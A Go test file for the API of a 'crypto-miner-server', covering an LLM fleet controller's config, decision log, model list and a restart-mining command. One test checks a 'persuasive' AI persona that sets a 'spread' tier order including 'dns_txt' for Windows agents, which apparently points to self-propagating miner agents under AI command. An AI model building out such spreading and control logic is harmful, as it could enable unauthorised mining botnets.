package api import ( "encoding/json" "net/http" "net/http/httptest" "strings" "testing" fleetai "crypto-miner-server/internal/ai" "crypto-miner-server/internal/db" "crypto-miner-server/internal/models" "crypto-miner-server/internal/strategy" ) type stubFleetAIConfig struct { view FleetAIConfigView } func (s *stubFleetAIConfig) GetFleetAIConfig() FleetAIConfigView { return s.view } func (s *stubFleetAIConfig) UpdateFleetAIConfig(v FleetAIConfigView) error { s.view = v return nil } func TestFleetAIHandlerGetPutConfig(t *testing.T) { cfg := &stubFleetAIConfig{view: FleetAIConfigView{ AIControlEnabled: false, AIEndpoint: "http://127.0.0.1:11434/v1", AIDecisionIntervalSec: 60, }} h := NewFleetAIHandler(cfg, nil) req := httptest.NewRequest(http.MethodGet, "/api/v1/ai/config", nil) rec := httptest.NewRecorder() h.GetConfig(rec, req) if rec.Code != http.StatusOK { t.Fatalf("status %d", rec.Code) } body := `{"ai_control_enabled":true,"ai_endpoint":"http://127.0.0.1:11434/v1","ai_model":"llama3.2","ai_no_context":true,"ai_decision_interval_sec":45}` req = httptest.NewRequest(http.MethodPut, "/api/v1/ai/config", strings.NewReader(body)) rec = httptest.NewRecorder() h.PutConfig(rec, req) if rec.Code != http.StatusOK { t.Fatalf("put status %d body %s", rec.Code, rec.Body.String()) } if !cfg.view.AIControlEnabled || cfg.view.AIModel != "llama3.2" { t.Fatalf("config not updated: %+v", cfg.view) } } func TestFleetAIHandlerGetDecisions(t *testing.T) { database, err := db.New(t.TempDir()) if err != nil { t.Fatal(err) } t.Cleanup(func() { database.Close() }) _ = database.InsertAIDecision("agent-x", "abc", `{"commands":[]}`, "noop:ok", false, "", "", "") h := NewFleetAIHandler(nil, database) req := httptest.NewRequest(http.MethodGet, "/api/v1/ai/decisions?agent_id=agent-x", nil) rec := httptest.NewRecorder() h.GetDecisions(rec, req) if rec.Code != http.StatusOK { t.Fatalf("status %d", rec.Code) } var rows []map[string]interface{} if err := json.Unmarshal(rec.Body.Bytes(), &rows); err != nil { t.Fatal(err) } if len(rows) != 1 { t.Fatalf("rows: %v", rows) } } func TestFleetAIHandlerGetModels(t *testing.T) { modelSrv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { if r.URL.Path != "/v1/models" { http.NotFound(w, r) return } _ = json.NewEncoder(w).Encode(map[string]interface{}{ "data": []map[string]string{{"id": "llama3.2"}}, }) })) t.Cleanup(modelSrv.Close) cfg := &stubFleetAIConfig{view: FleetAIConfigView{AIEndpoint: modelSrv.URL + "/v1"}} h := NewFleetAIHandler(cfg, nil) req := httptest.NewRequest(http.MethodGet, "/api/v1/ai/models", nil) rec := httptest.NewRecorder() h.GetModels(rec, req) if rec.Code != http.StatusOK { t.Fatalf("status %d body %s", rec.Code, rec.Body.String()) } var body map[string]interface{} if err := json.Unmarshal(rec.Body.Bytes(), &body); err != nil { t.Fatal(err) } models, _ := body["models"].([]interface{}) if len(models) != 1 { t.Fatalf("models: %v", body) } } func TestFleetAISnapshotSpreadTemperamentWhenAIControl(t *testing.T) { database, err := db.New(t.TempDir()) if err != nil { t.Fatal(err) } t.Cleanup(func() { database.Close() }) hub := NewWSHub(database) hub.SetAdaptiveEngine(strategy.NewAdaptiveEngine(database, true)) hub.SetServerPolicy(ServerPolicy{AIControlEnabled: true, AIPersona: fleetai.PersonaPersuasive}) agentID := "snap-agent-1" _ = database.UpsertAgent(&models.Agent{ ID: agentID, Name: "node-a", Platform: "windows", Status: "online", }) snap, ok := hub.FleetAISnapshot(agentID) if !ok { t.Fatal("snapshot not found") } if snap.Adaptive == nil || len(snap.Adaptive.TierOrder) == 0 { t.Fatalf("expected spread temperament in snapshot, got %+v", snap.Adaptive) } if snap.Adaptive.TierOrder[1] != "dns_txt" { t.Fatalf("persuasive spread order = %v", snap.Adaptive.TierOrder) } } func TestFleetAIExecutorRestartMining(t *testing.T) { hub := NewWSHub(nil) exec := &FleetAIExecutor{Hub: hub} _, err := exec.Execute("missing", fleetai.Command{Type: fleetai.CmdRestartMining}) if err == nil { t.Fatal("expected error for disconnected agent") } }